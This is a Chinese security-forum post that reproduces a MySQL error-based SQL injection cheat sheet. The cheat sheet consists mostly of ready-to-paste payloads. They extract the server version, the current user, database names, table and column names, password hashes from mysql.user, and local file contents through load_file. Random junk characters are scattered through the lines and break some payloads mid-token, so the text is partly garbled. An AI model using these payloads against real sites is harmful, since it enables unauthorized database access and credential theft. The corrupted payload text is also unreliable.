找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 % E8 w' k0 _6 B: {. }5 w6 K
, T' M1 P. a! q* n+ f
6 j4 s6 Y7 r, C% R; a$ J
Mysql暴错注入参考(pdf),每天一贴。。。
6 F& _/ r6 X* i. Z
' L$ G3 E% C3 n5 _( J' O0 Z& J) ^0 ZMySql Error Based Injection Reference4 k+ `5 i1 n: O2 @% x+ V: v
[Mysql暴错注入参考]! |- L+ f6 f5 v5 E" B% R2 O
Authornig0s1992
: _" n) T: b/ l/ P4 x+ t2 ~) yBlog:http://pnig0s1992.blog.51cto.com// q- \! b4 X) z/ D+ `# O
TeAm:http://www.FreeBuf.com/; v: l) B: N$ `/ T- L( L+ g
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
( M0 \$ O, g% K& ^小部分版本使用name_const()时会报错.可以用给出的Method.2测试. V! f% i$ b( V$ B+ P1 x  p! z
查询版本:# i' p$ h0 N7 @' w1 J5 e0 Q7 t
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+3 _: h& k8 F: W" t% ?8 p* d; @
join+(select+name_const(@@version,0))b)c)& Q# L9 `2 M) V8 o
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
/ _/ t+ y* W& N4 L; G, Rup by a)b)9 S! }9 k- {. x
查询当前用户:3 Q6 U& _# n/ O4 i
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)+ _1 J5 J# G+ A& l
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r( [0 Q1 `/ E7 d' o* d
and(0)*2))x+from+information_schema.tables+group+by+x)a)
9 S+ T; P1 }- @0 c; z  o查询当前数据库:
" K5 r& Z7 q5 B4 vMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)) n# s9 l3 L9 w+ [$ {
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo5 Z. Z$ k: k3 u% {# G
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a), a+ ]  I. D0 g4 T1 @. _- K+ d
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
- R( m2 L) E- T1 rLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n. Q' ^5 c, S* ?5 q: \. i5 o
顺序替换
5 x% U+ H$ a( a# J. X' C爆指定库数目:
  |1 B/ o7 Y8 G. {) c. ?; nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t+ G4 T* e6 x4 [% T* G( @
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
3 j3 V& @5 ?4 _6 ]6 Q7 L; Y2 |2 i+by+x)a)+and+1=1 0x6D7973716C=mysql& I: S  X+ _# c2 n2 R0 d
依次爆表:
* Y, ^) U, @3 N/ f" }) |, [' Oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
8 s' [4 X. _, m6 I/ pable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta9 U% V5 T& P; Q- U
bles+group+by+x)a)+and+1=1$ d! E8 ~6 Q1 B( o" {0 u
0x6D7973716C=Mysql 将n顺序替换- e# T+ r& T! K) F' Q
爆表内字段数目:6 u9 y7 w* W4 H5 j" d2 W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
: [: _) m7 Y7 d2 Y$ I6 Y6 P+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
" P) h7 ^" U+ t2 f( d0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 Y9 {0 O& T* \1 B
依次爆字段:# y8 ^! z/ ~, K- I$ `
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
1 T* M5 ]2 _' O+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1+ A. |, s, k% h, _
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
7 i6 W/ Q) J1 Q& ~$ M依次暴内容:
: `9 M$ Z$ P- B# ]and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche) A/ S, N3 s( ^/ }7 T- F. E
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
: w9 u  i- `& ]/ \( D% y# f) Y$ J3 \将n顺序替换
: _6 y* K8 G3 P. G+ e爆文件内容:0 }6 ]- y5 f# _. y. X
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
) ^7 l' A+ `2 s0 b& G$ Pfrom+information_schema.tables+group+by+a)b)
6 P, _# g. Z# R0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. V! H+ i9 L+ U  |& D# TThx for reading.
( p- ]5 O6 K1 p5 F' P% V% c) M9 o. h
不要下载也可以,
! U3 z2 I6 G( u% h, r+ {/ X( n7 K

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表